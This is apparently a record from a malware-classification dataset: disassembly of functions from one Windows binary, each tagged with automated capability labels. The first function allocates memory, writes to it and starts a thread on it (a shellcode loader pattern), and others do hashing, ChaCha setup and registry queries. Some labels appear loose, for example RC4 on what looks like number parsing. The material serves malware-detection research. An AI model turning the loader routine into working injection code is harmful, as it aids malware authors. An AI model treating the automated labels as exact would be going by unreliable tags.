joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140008480
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov qword [rbp - 0x10], 0
mov qword [rbp - 8], rcx
mov rsi, qword [rcx + 0x10]
mov qword [rbp - 0x28], rsi
mov dword [rbp - 0x1c], 0
call fcn.140195e10
mov rdi, rax
mov qword [rbp - 0x18], rax
mov rax, qword [rax + 0x110]
cmp rax, 0x40
jb 0x140008516
lea r8, [rdi + 0x10]
mov rcx, rdi
add rcx, 0x120
mov rax, qword [rdi + 0x158]
test rax, rax
jle 0x14000850c
cmp qword [rdi + 0x160], 0
js 0x14000850c
add rax, 0xffffffffffffff00
mov qword [rdi + 0x158], rax
mov edx, 6
call fcn.1401960e0
jmp 0x140008514
mov rdx, r8
call fcn.1400179e0
xor eax, eax
mov ebx, dword [rdi + rax*4 + 0x10]
inc rax
mov qword [rdi + 0x110], rax
dec qword [rdi]
jne 0x140008542
dec qword [rdi + 8]
jne 0x140008542
mov edx, 0x170
mov r8d, 0x10
mov rcx, rdi
call fcn.140019a00
and ebx, 1
or ebx, 0x1000
mov dword [rsp + 0x20], ebx
mov dword [rsp + 0x28], 0x40
lea rdx, [rbp - 0x10]
lea r9, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rdi, qword [rax + 8]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rdi
mov r9, rsi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x10]
lea r8, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
mov r9d, 0x50
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp - 0x18], 0
mov rax, qword [rbp - 0x10]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp - 0x18]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp - 0x18]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
mov rax, qword [rbp - 8]
mov rdx, qword [rax]
test rdx, rdx
je 0x14000862c
mov r8d, 1
mov rcx, rdi
call fcn.140019a00
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000a110
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14000a152
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14000a15a
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14000a16b
jmp 0x14000a182
xor r10d, r10d
jmp 0x14000a20d
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14000a182
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14000a199
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14000a1b9
add r11, r8
jmp 0x14000a2eb
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14000a282
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x14000a230
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x14000a2a0
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x14000a2b2
jmp 0x14000a2cd
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14000a2cd
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x14000a2e7
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x14000c650
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rsi, qword [rdx + 0x20]
mov r11, qword [rdx + 0x28]
lea r10, [r11 + 1]
mov qword [rdx + 0x28], r10
mov al, 1
cmp r10, rsi
jae 0x14000c690
mov rax, qword [rdx + 0x18]
movzx edi, byte [rax + r10]
mov al, 1
cmp edi, 0x2b
je 0x14000c685
cmp edi, 0x2d
jne 0x14000c690
xor eax, eax
add r11, 2
mov qword [rdx + 0x28], r11
mov r10, r11
cmp r10, rsi
jae 0x14000c824
mov rdi, qword [rdx + 0x18]
movzx r11d, byte [rdi + r10]
lea rbx, [r10 + 1]
mov qword [rdx + 0x28], rbx
add r11b, 0xd0
cmp r11b, 0xa
jae 0x14000c82f
movzx r11d, r11b
cmp rbx, rsi
jae 0x14000c72d
mov ebx, 1
sub rbx, rsi
add r10, 2
jmp 0x14000c6ec
movzx esi, sil
lea r11d, [r11 + r11*4]
lea r11d, [rsi + r11*2]
lea rsi, [rbx + r10]
inc rsi
inc r10
cmp rsi, 2
je 0x14000c72d
movzx esi, byte [rdi + r10 - 1]
add sil, 0xd0
cmp sil, 0xa
jae 0x14000c72d
mov qword [rdx + 0x28], r10
cmp r11d, 0xccccccb
jle 0x14000c6d0
cmp r11d, 0xccccccc
jne 0x14000c718
cmp sil, 7
jbe 0x14000c6d0
test r9, r9
sete r9b
mov byte [rsp + 0x20], al
call fcn.1401c0a40
jmp 0x14000c811
mov r10d, dword [rsp + 0x80]
test al, al
je 0x14000c74a
lea eax, [r10 + r11]
sar eax, 0x1f
add eax, 0x80000000
add r10d, r11d
jmp 0x14000c75a
xor eax, eax
cmp r10d, r11d
setns al
add eax, 0x7fffffff
sub r10d, r11d
cmovo r10d, eax
movq xmm1, r9
punpckldq xmm1, xmmword [0x1401ccc70]
subpd xmm1, xmmword [0x1401ccc80]
movapd xmm0, xmm1
unpckhpd xmm0, xmm1
addsd xmm0, xmm1
mov eax, r10d
neg eax
cmovs eax, r10d
cmp eax, 0x135
jb 0x14000c7cc
xorpd xmm1, xmm1
movsd xmm2, qword [0x1401ccc90]
nop dword [rax + rax]
ucomisd xmm0, xmm1
jne 0x14000c7a8
jnp 0x14000c7fa
test r10d, r10d
jns 0x14000c858
divsd xmm0, xmm2
add r10d, 0x134
mov eax, r10d
neg eax
cmovs eax, r10d
cmp eax, 0x134
ja 0x14000c7a0
mov eax, eax
mov r9, qword [0x1402ca038]
movsd xmm1, qword [r9 + rax*8]
test r10d, r10d
js 0x14000c819
mulsd xmm0, xmm1
movapd xmm1, xmmword [0x1401ccca0]
andpd xmm1, xmm0
ucomisd xmm1, qword [0x1401cccb0]
jae 0x14000c858
test r8b, r8b
jne 0x14000c807
xorpd xmm0, xmmword [0x1401cccc0]
movsd qword [rcx + 8], xmm0
xor eax, eax
mov qword [rcx], rax
add rsp, 0x40
pop rbx
pop rdi
pop rsi
ret
divsd xmm0, xmm1
test r8b, r8b
je 0x14000c7ff
jmp 0x14000c807
mov qword [rsp + 0x28], 5
jmp 0x14000c838
mov qword [rsp + 0x28], 0xd
lea rax, [rsp + 0x28]
mov rsi, rcx
mov rcx, rdx
mov rdx, rax
call fcn.1401c0ae0
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14000c811
mov qword [rsp + 0x28], 0xe
lea rax, [rsp + 0x28]
mov rsi, rcx
mov rcx, rdx
mov rdx, rax
call fcn.1401c0ae0
mov rcx, rsi
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x14000c80e
Function at 0x1400179e0
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0xe0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x58], 0xfffffffffffffffe
mov rsi, rdx
mov rdi, rcx
add rcx, 0x48
xorps xmm0, xmm0
movaps xmmword [rbp + 0x30], xmm0
movaps xmmword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x20]
mov r8d, 0x20
call fcn.1401987d0
test rax, rax
je 0x140017a4c
mov qword [rbp + 0x48], rax
mov rcx, rax
mov qword [rbp + 0x50], rdx
call qword [rdx]
mov rax, qword [rbp + 0x50]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140017ab5
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x48]
call fcn.140019a00
jmp 0x140017ab5
movaps xmm0, xmmword [rbp + 0x20]
movaps xmm1, xmmword [rbp + 0x30]
movups xmmword [rbp - 0x50], xmm1
movups xmmword [rbp - 0x60], xmm0
lea r8, [0x1401cd632]
lea rcx, [rbp - 0x40]
lea rdx, [rbp - 0x60]
mov r9d, 8
call fcn.1401985d0
mov rax, qword [rbp - 0x40]
movups xmm0, xmmword [rbp - 0x38]
movaps xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [rbp - 0x28]
movaps xmmword [rbp], xmm0
mov rcx, qword [rbp - 0x18]
mov qword [rbp + 0x10], rcx
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x38], rcx
mov qword [rdi], rax
movaps xmm0, xmmword [rbp - 0x10]
movaps xmm1, xmmword [rbp]
movups xmmword [rdi + 8], xmm0
movups xmmword [rdi + 0x18], xmm1
mov rax, qword [rbp + 0x10]
mov qword [rdi + 0x28], rax
mov qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov edx, 6
mov r8, rsi
add rsp, 0xe0
pop rdi
pop rsi
pop rbp
jmp fcn.1401960e0
Function at 0x140040750
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov r14, rdx
mov qword [rbp - 0x30], rcx
add r9, r8
mov qword [rbp - 0x28], r8
mov qword [rbp - 0x20], r9
mov word [rbp - 0x18], 0
mov dword [rbp - 0x10], 1
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x28]
call fcn.14009bb90
mov dword [rbp - 4], 0x800
mov dword [rbp - 8], 0
movzx eax, byte [0x1402cd081]
mov ecx, 0x800
mov edx, 1
call fcn.1400199f0
test rax, rax
je 0x1400408ee
mov rbx, rax
mov qword [rbp - 0x28], 0x800
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
mov rdi, qword [rbp - 0x48]
lea r12, [rbp - 4]
lea r15, [rbp - 8]
mov rsi, qword [sym.imp.advapi32.dll_RegQueryValueExW]
mov r13, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
sub r13, rax
nop word cs:[rax + rax]
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rbx
mov rcx, r14
mov rdx, rdi
xor r8d, r8d
mov r9, r15
call rsi
cmp eax, 0xea
jne 0x14004084b
mov r8d, dword [rbp - 4]
cmp r13, r8
jae 0x140040810
lea rcx, [rbp - 0x28]
mov rdx, qword [rbp - 0x38]
call fcn.1401c0c20
mov rbx, qword [rbp - 0x20]
jmp 0x1400407f6
test eax, eax
jne 0x14004086e
mov eax, dword [rbp - 4]
mov qword [rbp - 0x18], rax
mov eax, dword [rbp - 8]
cmp eax, 0xb
mov rdx, qword [rbp - 0x30]
jbe 0x1400408d1
movabs rax, 0xde00000002
jmp 0x14004087a
shl rax, 0x20
or rax, 2
mov rdx, qword [rbp - 0x30]
mov qword [rdx + 8], rax
movabs rax, 0x8000000000000000
mov qword [rdx], rax
mov rdx, qword [rbp - 0x28]
test rdx, rdx
je 0x1400408a2
mov r8d, 1
mov rcx, rbx
call fcn.140019a00
mov rdx, qword [rbp - 0x50]
test rdx, rdx
je 0x1400408bc
add rdx, rdx
mov r8d, 2
mov rcx, rdi
call fcn.140019a00
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, qword [rbp - 0x18]
mov qword [rdx + 0x10], rcx
movups xmm0, xmmword [rbp - 0x28]
movups xmmword [rdx], xmm0
mov byte [rdx + 0x18], al
mov rdx, qword [rbp - 0x50]
test rdx, rdx
jne 0x1400408ab
jmp 0x1400408bc
mov ecx, 1
mov edx, 0x800
call fcn.1401caab0
ud2
Function at 0x140053140
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
cmp dword [rcx], 2
jne 0x1400531d6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet_rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrarycore_srcio_borrowed_buf.rsassertion_failed:_self.buf.init___self.buf.filled__n]
pshufd xmm2, xmm0, 0xee
pxor xmm2, xmmword [0x1401cc930]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x40], xmm2
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rsi, qword [rdx]
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a110
test rdi, rdi
je 0x140053265
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14005327e
mov rcx, qword [rdx]
mov r8, qword [rcx]
xor edx, edx
test r8, r8
setne dl
movabs rax, 0xcbf29ce484222325
xor rax, rdx
movabs rdx, 0x1efac7090aef4a21
imul rax, rdx
test r8, r8
je 0x140053376
mov r9, qword [rcx + 0x10]
test r9, r9
je 0x1400533f8
mov rcx, qword [rcx + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x140053383
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x140053240
cmp r9, 8
jae 0x14005338c
jmp 0x1400533f8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a110
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x1400533f8
movzx ecx, byte [rcx + 8]
xor rax, rcx
imul rax, rdx
jmp 0x1400533f8
mov r8, rcx
cmp r9, 8
jb 0x1400533f8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x140053390
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x140053410
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x1400534a6
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet_rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrarycore_srcio_borrowed_buf.rsassertion_failed:_self.buf.init___self.buf.filled__n]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x1401cc930]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a110
test rdi, rdi
je 0x140053535
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14005354e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x140053646
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x1400536c8
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x140053653
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x140053510
cmp r9, 8
jae 0x14005365c
jmp 0x1400536c8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a110
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x1400536c8
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x1400536c8
mov r8, rcx
cmp r9, 8
jb 0x1400536c8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x140053660
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret
Function at 0x14005fbe0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
call fcn.140198b70
cmp qword [rax], 0
je 0x14005fbfe
add rax, 8
jmp 0x14005fc08
mov rcx, rax
xor edx, edx
call fcn.14000d520
mov r11, qword [rax]
mov rcx, qword [rax + 8]
lea r9, [r11 + 1]
movabs rdx, 0x736f6d6570736575
xor rdx, r11
movabs r8, 0x646f72616e646f6d
xor r8, rcx
add rdx, r8
rol r8, 0xd
mov qword [rax], r9
xor r8, rdx
rol rdx, 0x20
movabs r9, 0x6c7967656e657261
mov r10, r8
rol r10, 0x11
xor r9, r11
mov r11d, 1
movabs rsi, 0x7465646279746573
movabs rdi, 0x800000000000000
nop dword [rax]
mov r12, rcx
xor r12, r11
xor r12, rsi
lea rbx, [r12 + r9]
rol r12, 0x10
xor r12, rbx
lea r14, [r12 + rdx]
rol r12, 0x15
add rbx, r8
mov r15, rbx
xor r15, r10
rol rbx, 0x20
mov rax, r14
xor rax, r11
add rax, r15
rol r15, 0xd
xor r14, rdi
xor r15, rax
rol rax, 0x20
xor r14, r12
add rbx, r14
rol r14, 0x10
xor r14, rbx
add rax, r14
rol r14, 0x15
add rbx, r15
rol r15, 0x11
xor r14, rax
xor r15, rbx
rol rbx, 0x20
xor rax, rdi
add rax, r15
rol r15, 0xd
xor r15, rax
rol rax, 0x20
xor rbx, 0xff
add rbx, r14
rol r14, 0x10
xor r14, rbx
add rax, r14
rol r14, 0x15
add rbx, r15
rol r15, 0x11
xor r15, rbx
rol rbx, 0x20
xor r14, rax
add rax, r15
rol r15, 0xd
xor r15, rax
rol rax, 0x20
add rbx, r14
rol r14, 0x10
xor r14, rbx
add rax, r14
rol r14, 0x15
add rbx, r15
rol r15, 0x11
xor r15, rbx
rol rbx, 0x20
xor r14, rax
add rax, r15
rol r15, 0xd
add rbx, r14
rol r14, 0x10
xor r14, rbx
rol r14, 0x15
xor r15, rax
add rbx, r15
rol r15, 0x11
mov rax, rbx
rol rax, 0x20
xor rax, r15
xor rax, r14
inc r11
xor rax, rbx
je 0x14005fc70
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x1400f19d0
Capabilities:
Get remote cert context via schannel

Disassembly:
sub rsp, 0x28
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x20]
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
mov edx, eax
xor eax, eax
test edx, edx
setne cl
jne 0x1400f1a04
mov rdx, qword [rsp + 0x20]
mov al, cl
add rsp, 0x28
ret
shl rdx, 0x20
or rdx, 2
mov al, cl
add rsp, 0x28
ret
Function at 0x14010e500
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rsi, rdx
cmp dword [rcx], 2
jne 0x14010e596
movdqu xmm0, xmmword [rcx + 8]
pshufd xmm1, xmm0, 0x44
pxor xmm1, xmmword [str.uespemosarenegylmodnarodsetybdet_rustc_6672c16afcd4db8acdf08a6984fd4107bf07632clibrarycore_srcio_borrowed_buf.rsassertion_failed:_self.buf.init___self.buf.filled__n]
movdqa xmmword [rsp + 0x30], xmm1
pshufd xmm1, xmm0, 0xee
pxor xmm1, xmmword [0x1401cc930]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x50], xmm0
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov rdi, qword [rsi]
xor eax, eax
test rdi, rdi
setne al
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a110
test rdi, rdi
je 0x14010e625
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x30]
jmp 0x14010e63e
mov rdx, qword [rsi]
xor ecx, ecx
test rdx, rdx
setne cl
movabs rax, 0xcbf29ce484222325
xor rax, rcx
movabs rcx, 0x1efac7090aef4a21
imul rax, rcx
test rdx, rdx
je 0x14010e736
mov r9, qword [rsi + 0x10]
test r9, r9
je 0x14010e7b8
mov rcx, qword [rsi + 8]
movabs rdx, 0x100000001b3
mov r10, r9
and r10, 7
je 0x14010e743
mov r11, rax
mov r8, rcx
nop word cs:[rax + rax]
movzx eax, byte [r8]
inc r8
xor rax, r11
imul rax, rdx
mov r11, rax
dec r10
jne 0x14010e600
cmp r9, 8
jae 0x14010e74c
jmp 0x14010e7b8
movzx eax, byte [rsi + 8]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0x30]
lea rdx, [rsp + 0x28]
mov r8d, 8
call fcn.14000a110
mov rcx, qword [rsp + 0x40]
mov r9, qword [rsp + 0x60]
shl r9, 0x38
or r9, qword [rsp + 0x68]
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x30]
add r8, rcx
rol rcx, 0xd
xor rax, r9
xor rcx, r8
rol r8, 0x20
mov rdx, qword [rsp + 0x38]
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rax, r8
xor rcx, rdx
rol rdx, 0x20
xor r8, r9
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
xor rdx, 0xff
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
rol r8, 0x20
add rdx, rax
rol rax, 0x10
xor rax, rdx
add r8, rax
rol rax, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rax, r8
add r8, rcx
rol rcx, 0xd
xor rcx, r8
add rdx, rax
shl rax, 0x10
xor rax, rdx
shr rax, 0x2b
add rdx, rcx
shr rcx, 0x2f
xor rcx, rax
mov rax, rdx
shr rax, 0x20
xor rax, rdx
xor rax, rcx
jmp 0x14010e7b8
movzx edx, byte [rsi + 8]
xor rax, rdx
imul rax, rcx
jmp 0x14010e7b8
mov r8, rcx
cmp r9, 8
jb 0x14010e7b8
add rcx, r9
nop
movzx r9d, byte [r8]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 1]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 2]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 3]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 4]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 5]
xor rax, r9
imul rax, rdx
movzx r9d, byte [r8 + 6]
xor r9, rax
imul r9, rdx
movzx eax, byte [r8 + 7]
add r8, 8
xor rax, r9
imul rax, rdx
cmp r8, rcx
jne 0x14010e750
and eax, 0x7fff
add rsp, 0x78
pop rdi
pop rsi
ret